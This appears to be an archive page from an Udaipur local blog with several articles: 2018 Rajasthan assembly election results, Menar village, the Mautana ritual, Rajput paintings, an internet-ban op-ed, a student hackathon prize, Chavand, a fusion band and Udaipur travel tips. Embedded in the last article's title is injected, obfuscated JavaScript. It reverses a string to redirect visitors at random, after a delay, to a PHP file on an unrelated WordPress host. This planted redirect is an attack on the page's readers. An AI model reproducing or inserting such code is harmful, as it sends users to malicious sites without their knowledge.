Tag: Rajasthan

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Assembly Election Result of Entire Mewar and Vagad Region

Source: moneycontrol

Rajasthan Assembly Election was conducted on Friday, 7th December 2018. The result of the same was declared on 11th December 2018. Below is the list of candidates who won the State Assembly Elections in Mewar and Vagad region which includes 6 districts namely Udaipur district, Banswara district, Chittorgarh district, Dungarpur district, Rajsamand district and Dhariawad district.

Source: moneycontrol

Amongst several parties and individual candidates, the closest competition was between two major parties known as Bhartiya Janta Party (BJP) and Indian National Congress (INC).

Udaipur District

Constituency Name
Elected Candidate
Party
Votes
Udaipur City
Gulab Chand Kataria
BJP
74660
Nearest Rival
Party
Votes
Girija Vyas
INC
65353
Constituency Name
Elected Candidate
Party
Votes
Udaipur Rural
Phool Singh Meena
BJP
97382
Nearest Rival
Party
Votes
Vivek Katara
INC
78675
Constituency Name
Elected Candidate
Party
Votes
Salumber
Amrit Lal Meena
BJP
87472
Nearest Rival
Party
Votes
Raghuvir Singh
INC
65554
Constituency Name
Elected Candidate
Party
Votes
Gogunda
Pratap Lal Bheel
BJP
82599
Nearest Rival
Party
Votes
Dr. Mangi Lal
INC
78186
Jhadol
Babu Lal
BJP
87527
Nearest Rival
Party
Votes
Sunil Kumar
Bhajat
INC
74580
Constituency Name
Elected Candidate
Party
Votes
Kherwara
Dayaram Parmar
INC
93155
Nearest Rival
Party
Votes
Nanalal Ahari
BJP
68164
Constituency Name
Elected Candidate
Party
Votes
Mavli
Dharmnarayan Joshi
BJP
99723
Nearest Rival
Party
Votes
Pushkar Lal Dangi
INC
72745
Constituency Name
Elected Candidate
Party
Votes
Vallabhnagar
Gajendra Singh
INC
66306
Shaktawat
Nearest Rival
Party
Votes
M. Randhir Singh
JSR
62587
Bhinder

Banswara District

Constituency Name 
Elected Candidate
Party
Votes 
Banswara
Arjun Singh
INC
88447
Bamniya
Nearest Rival
Party
Votes 
Hakru Maida
BJP
70081
Constituency Name 
Elected Candidate
Party
Votes 
Bagidora
Mahendra Jeet
INC
97638
Singh Malviya
Nearest Rival
Party
Votes 
Khemraj Garasiya
BJP
76328
Constituency Name 
Elected Candidate
Party
Votes 
Garhi
Kailash Chandra
BJP
99350
Meena
Nearest Rival
Party
Votes 
Kanta Bhil
INC
74949
Constituency Name 
Elected Candidate
Party
Votes 
Ghatol
Harendra Ninama
BJP
101121
Nearest Rival
Party
Votes 
Nanalal Ninama
INC
96672
Constituency Name 
Elected Candidate
Party
Votes 
Kushalgarh
Ramila

Khaidya
INC
94344
Nearest Rival
Party
Votes
Bhima Bhai
BJP
75394

 

Chittorgarh District

Constituency Name 
Elected Candidate
Party
Votes
Bari Sadri
Lalit Kumar
BJP
97111
Ostwal
Nearest Rival
Party
Votes
Prakash
INC
88301
Choudhary
Constituency Name 
Elected Candidate
Party
Votes
Begun
Bidhuri Rajendra
INC
99259
Singh
Nearest Rival
Party
Votes
Dr. Suresh Dhaker
BJP
97598
Constituency Name 
Elected Candidate
Party
Votes
Chittorgarh
Chandrabhan
BJP
106563
Singh Aakya
Nearest Rival
Party
Votes
Surendra Singh
INC
82669
Jadawat
Constituency Name 
Elected Candidate
Party
Votes
Kapasan
Arjun Lal Jingar
BJP
81470
Nearest Rival
Party
Votes
Anandi Ram
INC
74468
Constituency Name 
Elected Candidate
Party
Votes
Nimbahera
Anjana Udailal
INC
110037
Nearest Rival
Party
Votes
Shrichand
BJP
98129
Kriplani

 

Dungarpur District

Constituency Name 
Elected Candidate
Party
Votes 
Aspur
Gopi Chand
BJP
57062
Meena
Nearest Rival
Party
Votes
Umesh
BJP
51732
Constituency Name 
Elected Candidate
Party
Votes
Chorasi
Rajkumar Roat
BTP
64119
Nearest Rival
Party
Votes
Sushil Katara
BJP
51185
Constituency Name 
Elected Candidate
Party
Votes
Dungarpur
Ganesh Ghogra
INC
75482
Nearest Rival
Party
Votes
Madhav Lal
BJP
47584
Varahat
Constituency Name 
Elected Candidate
Party
Votes
Sagwara
Ramprasad
BTP
58406
Nearest Rival
Party
Votes
Shankarlal
BJP
53824

 

Rajsamand District

Constituency Name 
Elected Candidate
Party
Votes
Bhim
Sudarshan Singh
INC
49355
Rawat
Nearest Rival
Party
Votes
Hari Singh
BJP
45641
Chouhan (Rawat)
Constituency Name 
Elected Candidate
Party
Votes
Kumbhalgarh
Surendra Singh
BJP
70803
Rathore
Nearest Rival
Party
Votes
Ganesh Singh
INC
52360
Constituency Name 
Elected Candidate
Party
Votes
Nathdwara
C. P. Joshi
INC
88384
Nearest Rival
Party
Votes 
Mahesh Pratap
BJP
71444
Singh
Constituency Name 
Elected Candidate
Party
Votes 
Rajsamand
Kiran
BJP
89709
Maheshwari
Nearest Rival
Party
Votes 
Narayan Singh
INC
65086
Bhati

 

Pratapgarh District

Constituency Name 
Elected Candidate
Party
Votes 
Dhariawad
Gotam Lal
BJP
96457
Nearest Rival
Party
Votes
Nagraj
INC
72615
Constituency Name 
Elected Candidate
Party
Votes
Pratapgarh
Ramlal
INC
100625
Nearest Rival
Party
Votes 
Hemant
BJP
83945

 

Do you have any feedback regarding the article? Share it with us in the comment section below or write to me at juhee@udaipurblog.com. 

Categories
Places to Visit

Bird’s Paradise Menar Village is Famous for Some More things! Read to Know

It is possible that you might have heard of the village Menar which resides at a distance of around 52 km from Udaipur. And why wouldn’t you, the village is very well known not just in the city but entire Rajasthan for being the bird’s paradise. Menar Lake in the village witnesses many migratory birds especially in the winter season and that makes it the ideal destination for the bird watchers around the city.

Source: Patrika

These migratory birds include Greater Flamingo, White-Tailed Lapwing, Pelican, Marsh Harrier, Black Kite, Green Sandpiper, Wood sandpiper, Little Ringed Plover, Red-wattled Lapwing, Northern Shoveler, Northern Pintail, Common Crane, Bar Headed Goose and many more!

Well, that was about the Menar Lake. But there are some more things that make the village stand out.

 

The 52 feet Shiv Idol

Otherwise known for being the Bird Village, Menar is also very popular for its 52 feet high idol of Lord Shiv which becomes a point of faith amongst thousands of devotees who come here to worship this gigantic idol of Lord Shiva during Monsoons. The temple which homes the colossal idol is known as Thakur Ji temple. The famous Bollywood movie ‘Dhadak’ has also been shot here.

Temple in the song ‘Pehli Baar’ of movie Dhadak

According to the villagers, the idol has been constructed by the fellow villager, Prabhulal Joshi. The Shiv idol situated in Haridwar inspired Prabhulal to build one in his own village. The construction of the idol has given employment to more than 400 people of the village and the artisans of the idol were called from South India.

 

Lucky number 52

Source: onthehighroadblog.wordpress

It is also said that the village has some sort of connection with the number 52. Villagers say that several years ago, Maharana Pratap got so impressed by the bravery and courage of the villagers that he gifted a land of 52 Bigha (a measure of land) to this village. Also, the distance between the district headquarters and the village is also 52 km. This can be the possible reason why the height of the idol is kept 52 feet.

 

People of Menar village

The chain of amazement doesn’t stop yet! The people of Menar village are no less than anything else here. The credit of Menar being the Bird’s paradise doesn’t solely goes to the ecosystem of the area but also to its people. In recent months, Menar has been in the news for having set an example in community-driven conservation.

The villagers made some fair attempts to save the fishes of the lake. In order to ensure a healthy ecosystem people of Menar village have stopped using the water of the lakes for irrigation purpose, fishing has been prohibited and regular weeding is done to get rid of water hyacinth overgrowth.

Villagers relocating fishes | Source: Times Of India

They have also set up a group of volunteers known as ‘Pakshi Mitra’ who ensure a safe stay to the flying visitors. From rescuing injured birds to conducting regular anti-poaching patrols, these volunteers have set a benchmark to conserve the ecosystem of the village.

 

Menaria – A Brahmin community originated from Menar village

Source: National Herald

As mentioned above, the history of Menar goes long back to the time of Maharana Pratap’s reign and even before that. After multiple wars taking place during the period of 1226 AD in Mewar, many people were martyred. The remaining people scattered to find a home in places. The people who went to Nagda (currently known as eklingji) became Nagda Brahmin, people who went to Pali were known as Paliwals and then the people who came to Menar became popular with the name of Menarias.

 

Many Menaria people from Menar have become cooks to India’s Millionaire

From Dhirubhai Ambani and the Hinduja brothers to Lata Mangeshkar and Juhi Chawla, the Menaria chefs have handled the kitchens of the multi-millionaires as well as many celebrities in the country.

For instance, Yashwant Menaria from the village manages the kitchen of the Hinduja brothers in London. When he was in the age of 14, he took the contract of running the canteen of the multinational company near his village and this was the beginning of all.

Yashwant Menaria | Source: BBC

Poonamchand Aklingdasot is another Menaria has an interesting story himself. Poonamchand used to cook for Lata Mangeshkar’s family before which he managed the household of Dhirubhai Ambani in 1997.

The interesting thing about the Menaria chefs is that many of them have never attended a cooking course and yet they are preparing all the cuisine from Mexican and Italian to Chinese and Continental and earns a handsome six-figure salary (often in addition to free boarding, lodging, and air travel!)

Such is the glory of this village. When are you planning to visit Menar?

Do you have any feedback regarding the article or any interesting story to share with us? Then write to me at juhee@udaipurblog.com.

Categories
History and Culture

Mautana: Rajasthan’s Strange Ritual of Money Against Death

We live in the 21st century where everything is easily accessible, even justice. And at times like such, the above theory backfires giving rise to rituals like ‘Mautana’ and ‘Chadhotri’.

What are Mautana and Chadhotri?

‘Maut’ means death and ‘ana’ means money and the word together means money against death.

While we are talking about the ritual, let’s start from the beginning. Back in the early decades, the tribal communities like Bheel and Garasiya were situated in hilly terrains of Southwest portion of Rajasthan. These tribals did not live in colonies and instead of that, they were scattered in the forest. The groups of these tribes were not aware of the agriculture and so, they were mainly dependent on the forest by product and forest animals. And for resources, they used to attack the other groups and amidst all this, people lost their lives. Sometimes, they even killed each other in pure anguish.

Source: Sarita Magazine

To get control over the situation and spread brotherhood around the communities, they made a ritual of Mautana where if someone kills a person, the entire community will support the victim’s family by making the suspect’s family pay the price. They used to put the dead body on the doorstep of the murderer or the suspect and demand for grains and other resources. In case they deny, the victim’s family would destroy their houses and kill them which is called Chadhotra. The price given by the suspect was then distributed to the entire community.

 

Modern Practices of Mautana

Modern technology and strong law system have helped the urban part to develop to a large extent. But when we talk about the rural part of it, people are still suffering mostly because of the practices shrouded in the name of religion and customs. The problem is that even law is least concerned about such matters.

One of these problems is Practice of Mautana and Chadhotri. It is most active in the tribal regions of Udaipur, Banswara, Sirohi, and Pali. With time, the concept of the ritual has modernized too. What started with the idea of justice and spreading brotherhood grew poisonous with time.

Source: Hello Banswara

Today, the reason of death could be anything but it is blamed on someone else in order to demand money. If the family refuses to pay Mautana, they are looted, killed or forced to migrate, in some cases their houses and shops are burnt by the victim’s family or community. And even if they do agree, the amount is so high that the family has to sell everything they have and they become ruined. The money ranges from 5000 to 15 lakh depending on the social status of the dead and the accused.

The first case of ‘Mautana’ was reported at Mandwa village in 1971 in which 101 people were arrested. After that, the cases have been increasing and along with the tribal communities, communities in the remote area adopted the ritual too.

 

Some devastating incidents of Mautana and Chadhotra

  • This is the incident of kaucha village of Udaipur district where a lady got bit by a snake while she was working at her farm and eventually died. After her death, her family blamed her in-laws saying that the snake was from their side and so they have to pay the ‘Mautana’.
  • Kheroda village of Udaipur witnessed one more Mautana incident where a worker got injured by an electric shock. He was then taken to the government hospital of Udaipur and during his operation, the man died. The family of the man then started demanding Mautana from the Doctor itself.
  • In May 2014, a 36-year-old youth of Nichli Aanjani village came to meet his sister in Bhoojha village. He never returned home and after a month his mutilated body was found on the hillock of the village. The body parts were then taken to a deserted school building where it was hung for more than a year because the Mautana didn’t settle between the family accused and the victim’s family.
Source: Udaipur Times

Poisonous rituals like Mautana and Chadhotri this overpowers not just the law of the government but the humanity too. They initiate the feelings of greed and hatred in the humankind. Now one question that still remains is ‘Which side are the authorities on?’

Did you like the article? Share your feedback with us in the comment section below or write to me juhee@udaipurblog.com.

Categories
History and Culture

Historical Rajput Paintings that will surely take you Back in Time

Art has been one of the oldest yet a strong form of communication between two entities. It has a tendency to deeply move your soul and the people back then surely knew how to use them to its fullest. As a result, they created some masterpieces, some of which can be found in museums, manuscripts, and books.

Rajasthani paintings which are also known as Rajput paintings strongly communicates with those who are willing to know their culture, architecture, and stories of people back then through art. These paintings evolved and prospered in the Rajputana royal courts. There was a distinct style in every royal kingdom of Rajputana but some common features can be seen in all of them. These paintings depict a number of themes and incidents of epics such as the Ramayana. Although miniature paintings were kept in manuscripts and albums most of these paintings were made on the walls of palaces, inner chambers of the forts, havelis, and hence some of them got destroyed with time.

The colors of the paintings were extracted from some minerals, plant sources, conch shells, and some of them were derived by processing precious stones such as gold and silver. The preparation of these colors took a long time extending to two weeks. Also, the brushes used in the paintings are fine giving them the intricate finish.

In 1597, Rana Pratap Rana Amar Singh established himself on the throne of Mewar. To some extent, he accepted the dominance of Mewar and for the same reason, the impact of Mughal art is visible on Mewar Paintings.

There are three different Rajput painting styles in the region of Mewar. Nathdwara style, Devgarh style, and Shahpura style.

Raja carried in a state Palki

The painting is taken from a Rajasthani school from J.C. French collection. On the back of the painting is inscribed a name ‘Son Singh’ but no king of this name is recorded. However, his features resemble a portrait of Amar Singh of Jailsamer.

Month of sarawan (saawan)

The painting is from year about 1570 and is one of the series of illustrations to poems on the season of the year which is called Baramasa. The joy and relief on the arrival of rains can be seen in the movements of women sitting at the bottom. Rains can be seen in one scene of a hut.

State procession of a Rajput Raja

Year of the painting is about 1760. The subject is identified as Bhim Singh of Jodhpur (1793-1803) through labels attached to it. However, it bears no resemblance to portraits of Bhim Singh and the turban he is wearing is not in Jodhpuri style.

The expectant heroine

About the painting Coomaraswamy has rendered his poem: ‘The heroine at the door of her home, happy in the expectation of her darling’s coming.’

A village scene

The painting is an illustration to the Hamza-Nama: a huge Islamic manuscript executed for the emperors Humayun and Akbar. The year is about 1570.

Nayak and Nayika, Mewar, 1625
Rana Sangram Singh Celebrating the birth of Pratap Singh, City Palace
Rana Sangram Singh, Jethi Wrestlers at City Palace, Udaipur, Mewar, 1715-18.
Chowripanchasika, early 16th century, Mewar, Rajasthan
Nasiruddin Malashri Ragini, Third Wife of Bhairava Raga, 1605
Rashikapriya, Udaipur, 1730
Karnata Ragini, Mewar, 1620-50
Month of Magha, from the series of Baramassa, Mewar, 1770

 

Different forms of Rajasthani Painting

  • Frescoes in caves

Fresco is a form of painting which is executed upon freshly laid, or wet lime plaster. These kinds of paintings can be vividly seen in the ancient caves, drawn in temples, palaces, and cenotaphs. The history of wall paintings in Rajasthan is so rich that it will provide you a wide glimpse into the culture of Rajasthan from years ago. The dry desert climate of the region ensures good condition of these paintings.

  • Script painting

The tradition of padd and pichwai is very old and is done even today in Rajasthan. Padd and Pichwai are the two forms of script paintings. Padds are based on stories of folk gods while Pichwai is related to Krishna Lila.

  • Manuscript painting on Bhurj leaves

In ancient time, the tradition of writing poetry and making drawing on palm leaves was common. As a result, the pictorial text preserved in many Jain collections got abandoned.

  • Miniature style of painting

Laguchitra or miniature painting, as the name suggests, is very small in size. One thing that will appall you is the intricate brushwork which contributes to their unique identity. Colors used in miniature painting is derived from natural sources such as vegetables, indigo, precious stones, gold, and silver.

Ragamala paintings

Ragamala which can be translated as ‘Garland of Ragas’ in English is a series of illustrative paintings from medieval India which depicts various musical modes called Ragas. Ragamala paintings were started in most Indian schools in the early 16th and 17th century. There are different subcategories of Ragamala that are Pahari Ragamala, Rajasthan and Rajputi Ragamala, Deccan Ragamala, and Mughal Ragamala.

Every painting in each Raga is personified by a color, mood, and verses describing stories of hero and heroine, day and night are also depicted, and there are a number of paintings that demarcate specific Hindu deities attached with raga, like Bhairava or Bhairavi to Shiva, Sri to Devi etc. These paintings along with Ragas also depicts their wives (raginis), their numerous sons (ragaputra) and daughters (ragakanya).

Varari_ragini,_Ragamala,_17th_century
Sarang_ragini,_Ragamala,_ca1605
Raag Deepak, in Ragamala by Sahibdin 1605.
Pancham Ragini, Ragamala, 1680–1690.
Malasri Ragini, Ragamala, Rajasthan. 1620.
Kuntala_Raga,_’son’_of_Dipakeda_Raga,_Ragamala,_1710
Hindola_Raga,_Ragamala,_17th_century
Dipaka_Raga
Alhaiya raga, Son of Bhairava Raga, Ragamala c1720.

All the paintings would have given you a vivid picture of people and their lifestyle back then. Or if you felt all of these properly, it is possible to time travel through them too. Art is the only form that can make it possible.

Do you own an art gallery and sell such form of paintings there? If so, get in touch with us. We would love to feature your work. Write to me at juhee@udaipurblog.com. 

References and paintings from:

Ragamala Paintings Wikipedia 

Rajasthan History

Indianart.ru

shodhganga.inflibnet.ac.in

Categories
News

Are We Easily Accepting the Insane Decisions of Government? | Internet Ban in Udaipur

Rajasthan is witnessing an action that is unprecedented in the history of a democracy anywhere in this world. Rajasthan officials enforced a two-day statewide internet ban with arbitrary geographical boundaries. The reason for this was to deter cheating at the Rajasthan State Constable Examination.

Administrators in each district had to pass orders to shut down the cellular internet (and home broadband services too maybe) on the last weekend from 8AM-5PM in the day [copy of an order from Divisional Commissioner, Udaipur]. This is the first time something of this scale happened but Rajasthan is no stranger to regional internet bans. We are being normalized for what is an extreme action. This time the reason for the shutdown was to deter cheating at a government examination. Shutdown internet for the whole state to stop cheating at an exam makes perfect sense.

Folks at Software Freedom Law Centre (SFLC) have been tracking the Internet Shutdowns across India for last four years. According to InternetShutdowns.in, state of Rajasthan has seen 25 shutdowns in this duration which is second highest for any state in India after J&K! SFLC’s handbook on Internet Shutdowns in India is fairly useful policy primer on the issue.

This meant a loss of livelihood to many (cab drivers, mobile recharge shops, food delivery businesses, remote employees, freelancers, the list goes on). Approximately, the transaction of around 20 crores was interrupted, 14,000 e-tickets were not booked, roadways tickets suffered a loss of 5% and similarly, numerous people suffered from the ban. This directly negated the whole idea of digital India and the push to digital payment that came after demonetization. This is probably harmful in a hundred more ways. None of these shutdowns are properly communicated. The government simply is not even interested to gauge in the economic and other losses as a result of these bans to a state of 6.89 Crore people!

It is even more important that you make yourself heard because there is no framework or metric right now that the Office of District Magistrate or any official higher in the ladder uses to decide what events/occasions duly require a blanket ban (if any at all!). By not speaking, you are surrendering your rights to access the internet which is equivalent only to let the government decide when you get to be online and when not.

I am not sure if you or your friends are directly affected but we still need to hold our administration accountable at this moment. Only because this is an immense power exercise!

We need our government to answer a few really basic questions:

  • What is the process of arriving at the conclusion of such a blanket ban?
  • How are geographical boundaries in ban enforced? Who is enforcing these boundaries?
  • What all exams in the future will require a blanket ban?
  • What is significantly different about these exams that we have to resort to an action of this scale? An order like this is unprecedented in the history of our country (or any country probably)

To put things in perspective, internet bans are used around the world even by authoritarian regimes only in dire needs and at times of revolt (think Arab spring). We are a liberal democracy seeing this enforced so casually. This is normalization!

Categories
Events

Techno NJR students win innovation prize

Team Slick of Techno NJR students won the First runner-up prize of Rs. 75,000/- in prestigious Smart India Hackathon 2018  Hardware version held at NIT, Trichy from June 18 to 22, 2018.  6 teams of Techno NJR were shortlisted for this event.

This 5-day event was conducted at 10 centers across the country at IIT Kharagpur, IIT Kanpur, IIT Guwahati, IISc Bangalore, IIT Roorkee, NIT Trichy  CEERI, Pilani etc to promote innovation and entrepreneurship among engineering students and find solutions to real problems of India. This was in continuation of  Smart India Hackathon software version which was held from March 30 to April 1, 2018. Techno NJR was one of the center for the software version.

Team slick consisting of students Lokesh Puri Goswami, Kunjpreet Arora, sayed Amir, Kunjal jain, Gaurav Suthar and Dharmendra Vaishnav of Civil and Mechanical branches created eco-friendly construction bricks and paver blocks out of waste materials like marble slurry, waste plastics etc and was appreciated by an eminent panel of judges. These bricks are called wricks  These students had presented a research paper also last year at IIT, Mumbai and received first prize. Encouraged by the response at IIT, Mumbai these students decided to implement their research paper.

Disposal of marble slurry especially in Udaipur and other wastes in all cities is a major problem faced by most municipal authorities. This innovation can solve the problem of waste disposal in a profitable and eco-friendly way.

Categories
Places to Visit

Maharana Pratap’s last capital – Chavand

Maharana Pratap

Chavand, Rajasthan is a place that holds a significant position in the lives of every citizen of Mewar. It was the last capital of Mewar in the reign of Maharana Pratap but that’s not just it. Along with being the third and last capital of Mewar in the legendary Maharana Pratap’s reign, it was also the place where he took his last breath.

It is the same place where during one of his hunting expedition, Maharana Pratap took out his bow and pulled its cord with a great strength. As a result, one of his intestines got strained. Pratap tried to struggle with the pain during his treatment in Chavand but it was so much that he couldn’t bear it anymore and at the age of 57, he passed away on January 29, 1597. It is said that when Akbar (his then enemy) heard the news of Pratap’s death, he shed tears of sorrow.

Maharana Pratap’s last capital - Chavand
Picture by: Pushkar Sharma

Chavand is a historical place located in Sarada tehsil at a distance of approx. 45 km from Udaipur. The story of Chawand is dated back in the year 1585 CE. Maharana Pratap retired in the hills of Aravali after the battle of Haldighati in order to continue his venture to defeat the ferocious Mughals and strengthen his army. During his time there, he captured the area of Chavand from the Rathores. He then established his new capital in Chavand in 1585 CE.

It is believed that Pratap built somewhere around 16 hideouts to protect and camouflage his army from the enemies in the radius of 10 km in Chavand which included the armory, secret palaces, temples, and buildings for his soldiers and Bhils (who were the part of his army back then).

Maharana Pratap’s last capital - Chavand
Picture by: Tanuj Rawal

Chavand in the present

With time, Chavand has grown beautifully and constructed in such a way that it attracts a lot of people from the cities nearby. One reason for that is even after such a long time, the history and the story of the legends who used to live there once upon a time are alive. People at any point in time coming from different parts of the country can feel the walls and sight of the place. There are different elements that capture the eyes of the tourists and remains the center of attraction of the place.

From the several temples Maharana Pratap built during his time in Chavand, one temple was Chamunda Devi temple. The temple still exists in the village in a perfect condition and Chamunda Devi is worshipped as a local deity by the people residing in the village.

Near Chavand, there is a natural Lake named Lake Khejad in the mid of which a beautiful Cenotaph was made by Maharana Bhupal Singh to commemorate the legend of Mewar, Maharana Pratap. It is now under the control of Rajasthan tourism. The site of the Cenotaph provides basic facts and the history of Mewar and its rulers. The board outside the cenotaph displays names of all the rulers who played a substantial role in the battle of Haldighati and accompanied Maharana Pratap in fighting against powerful Mughal forces.

Maharana Pratap’s last capital - Chavand
Picture by: Gaurav Soni

At a distance of 2 km towards Chavand from Lake Khejad, you will reach an ancient Chavand palace on the top of the hill. Although, the palace is now in ruins when it was at its best it was a three storied building. The ruin of the palace overlooks the entire town of Chavand.

Maharana Pratap’s last capital - Chavand
Picture by: Pushkar Sharma

Apart from that, there is a memorial of Maharana Pratap in Chavand where a statue of him stands at the top and below are the statues of his associates namely Bhilu Rana, Rana Punja, Hakim Khan Sur, Jala Man and Daanveer Bhamashah. The monument and the entire place is the pilgrimage for all the people from Mewar and the people who admire the great Maharana Pratap. There is a lot to learn from the journey of Pratap. That no matter how great or powerful your enemy is, you should bravely face all the struggles and problems of your life.

Maharana Pratap’s last capital - Chavand

Categories
People

Swaraag An Indo Western Fusion Band | Capturing Hearts with Their Soulful Music

We can’t forget the way we swayed on the music and the rustic voice of the band Swaraag in the ULF 2017. And why not! The band is just too awesome and lively that it captures the heart of the music lovers.  Rajasthani Folk Fusion with Vocal, Sufi Fusion, Indo Western Instrumental Fusion are some of the genres that the band is brilliant in.

How many of you were blown away by their ‘Mere rashk-e-Qamar’ song performance?

I am sure we all were overwhelmed by their performance and could feel the energy they filled in the atmosphere. Swaraag established themselves in 2014 and since then, they have ruled the hearts of many!

If you are curious about who all the band members are, we are introducing each one of them to you. Have a read;

Team Swaraag

Arif Khan | Zitar Maestro of Swaraag

Arif is a great sitar player and has spread his compositions not only in various parts of India but also has traveled extensively in many cities of Germany, France, Gulf, and Austria.

Asif Khan | The Voice of Swaraag

Swaraag Performing at a private event

Sufi and Indian folk lead singer and composer of the band Swaraag, he began his singing career at the age of just six with the blessings of his father. Ustad Mahmood Khan, his father, always acknowledged the importance of music in his life and groomed Asif in the classical music.

Members | Who make the vocals amalgamate with music

Other than these two, Sajid Khan plays impeccable Drums and Shahid Hussain is the Tabla Player for the band Swaraag. Tasruf Ali plays mind-blowing Saxophone and Arif also plays Khartal. Last but not the least, Rishabh takes care of the Guitar.

What makes Swaraag different?

With Superstar Ram Charan at its family event

Swaraag is a Folk-rock & Sufi Fusion Band.  Swaraag’s Music Team is specialized in Indo Western fusion music and has an immense experience of performing for corporate events, Private parties, Public concerts and many more that makes them a multifaceted music band. The backbone behind the huge success of Band is their Founder and Manager Mr. Pratap Singh Nirwan. He is the one who is the actual creator of a complete team and the reason behind the existence of Swaraag. The Manager, Mr. Giriraj Purohit says that its the team management that makes a band go miles in the path of success.

The Band Swaraag makes the crowd groove over their music!! Swaraag aims at keeping the vernacular music alive through their composition. They even recreate the magic of folk music in current Bollywood songs as well. Swaraag has a passion for singing not only Rajasthani Folk music but also various folk music from states that appeal to different musical tastes.

To know more about Swaraag http://www.swaraagmusic.com/

 

Let us know how much you liked the musical performance of Swaraag Band, in the comments section below or drop a mail at fouzia@udaipurblog.com

Categories
Travel

Top 10 Things to Do on Your First Visit to Udaipur

Top 10 Things to Do on Your First Visit to Udaipur
Top 10 Things to Do on Your First Visit to Udaipur

Udaipur is known by various names like the City of Lakes, Kashmir of Rajasthan, Venice of the East and so many more. The beauty of the place is evident in the pictures you must have seen all over the internet. Now that you are planning your visit to the spectacular and heavenly City of Lakes, let me help you build your personal itinerary for your first visit to Udaipur. I am aware that some of you won’t be able to cover all the spots enlisted below, but it is worth giving a shot.

Here are the Top 10 Things to Do on Your First Visit to Udaipur!

  1. Start your day by getting a perfect breakfast

Empty stomach won’t get along with you very far. So, first things first, get a perfect start to your day by having some good English breakfast. Although you might find a lot of places to eat in the city, especially if you are staying in the old city, but you obviously need a filtered list.

Top 10 Things to Do on Your First Visit to Udaipur
Source: Google Images

Thank us later, we are making you equipped with the list of the best places to have an English breakfast in Udaipur. Click here!

  1. Take a bike or car on rent and explore the streets of Old City

As per your convenience, you can take a car or a bike on rent and explore the nooks and corners of the Old City. There is a lot that you would see on the streets- from local vendors to artists painting at the roadside and a lot of scenes that you wouldn’t witness anywhere on earth!

Top 10 Things to Do on Your First Visit to Udaipur
Source: kanishka bike rental

Plus, not just for the view, taking a vehicle is quite comfy for your to-and-fro as well and makes it easy for you to touch the extremes of the city effortlessly.

  1. Go shopping!!!

You have come down to Udaipur, would you dare to leave without any ‘oh-my-god-wow’ souvenir from the city? No, right?

Top 10 Things to Do on Your First Visit to Udaipur
Source: My Udaipur City

Well, the shopping markets in Udaipur are like a color palette. Hundreds of shops selling things that are unique, vibrant and exhibit the very soul of the city. You can get apparels, tribal jewelry, gold/silver jewelry, zinc artifacts, wooden artifacts, leather bag, totes, to bedspreads, upholstery and so much more.

Check out all the markets of Udaipur here.

  1. Take a tour of the grand City Palace Complex

City Palace Complex Udaipur is one of a kind places in the city. It is a grand-majestic-palace and is the official dwelling of the Maharana (king) of Mewar. A part of the palace is closed where the Maharana resides with his royal family while a greater part of the palace is open to the public.

Top 10 Things to Do on Your First Visit to Udaipur
Source: Wikipedia

You can take a tour of the City Palace and have a walk through the time. Also, you can watch the light and sound show happening in the City Palace every evening.

  1. Take the Ropeway and watch the sunset from the Karni Mata hill

Karni Mata Temple is situated on a small hillock in Udaipur. The place is also known for its sunset point. You can either take the stairs to the peak of the hill for the sunset point or you can take the ropeway.

Top 10 Things to Do on Your First Visit to Udaipur
Source: Trawell

Alternative: If you want to have a glimpse of the culture of the city and sunsets do not entice you anymore, then you must pay a visit to the Darohar Show at the Bagore Ki Haveli Museum.

Top 10 Things to Do on Your First Visit to Udaipur
Source: UdaipurBlog

The show starts in the evenings and is a must-watch if you are a fan of cultural dances.

  1. Spend your evenings at the Ghats of Udaipur

    Top 10 Things to Do on Your First Visit to Udaipur
    Source: inside_the _window (Instagram)

Ghats are a noticeable part of the city. There are various ghats in Udaipur which are immensely peaceful and give you a close view of the waters of the lakes. Gangaur Ghat is the most significant and popular ghat in the entire city. It is known for hosting the Ganguar Festival and in recent times the place was seen in various movies in both Hollywood and Bollywood.

  1. Go for a boat ride in the Lake

You can go on a boat ride in Lake Pichola. It is a 20-25 minutes ride in the lake which covers all the places in the lake- I mean, you can have a close look at the Taj Lake Palace which is built in the middle of the lake, if in case you aren’t staying there! Also, you get to have a look at the Jag Mandir, which is also a floating (metaphorically) palace and is known for its beautiful life-size elephants standing at the entrance, carved out of stone.

Top 10 Things to Do on Your First Visit to Udaipur
Source: Tripzuki

Alternatively, you can go for a jet boat ride in the Lake Fatehsagar, which is one of the most prominent lakes in Udaipur. It is a great place to hangout and you would get a lot of street food and other delicious snacks just near the lakeside ‘chowpaty’. Also, you can visit the nearby parks and gardens to get a refreshing feel.

  1. Don’t miss Sajjangarh (Monsoon Palace) and the Biological Park

    Top 10 Things to Do on Your First Visit to Udaipur
    Source: makemytrip

If you aren’t fond of riding in the boat, then taking a brisk tour to the Monsoon Palace would be great for you. Sajjangarh aka Monsoon Palace is perched on a hillock and gives one of the best views of the entire city.

Source: Siddharth Nagar

Adjacent to this palace is the biological park of Udaipur which has a variety of flora and fauna. This is a super fun and refreshing place for the nature lovers.

  1. Go to the largest aquarium in India- ‘Under the Sun’

    Top 10 Things to Do on Your First Visit to Udaipur
    Source: Siddharth Nagar

Under the Sun is the largest aquarium in India and is situated attached to the lake Fatehsagar. This is one great place to spend some hours. You would find a huge number of fish here, some of which are even rare to find in the Indian Subcontinent. Plus, you can find a Virtual Reality zone here which lets you enjoy underwater scenes in real time.

Read more about the aquarium here

  1. Last but not the least, Binge on the luscious food at a lakeside hotel/restaurant

    Top 10 Things to Do on Your First Visit to Udaipur
    Source: www.udaigarhudaipur.in

By this time, I am sure you’d be feeling terribly hungry and what is better than having some great authentic Rajasthani or Continental Food at a lakeside hotel/restaurant.

Also Read: Non-veg Restaurant to satisfy your hunger pangs

I knew you would be reading this on your first visit to the City of Lakes and hence I have prepared for you a list of the best Lakeside hotels where you can stay as well as eat at utmost peace, enjoying the natural beauty that Udaipur is! 😉

Check out the list here

Now that you roughly know where you’d be going, book your tickets and start packing!

Also, check out the best time to visit Udaipur and don’t miss your flight 😊

Categories
Social

Weird and unusual questions people ask about Udaipur on Quora

Weird $Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and unusual questions people ask about Udaipur on Quora

Before you read!!

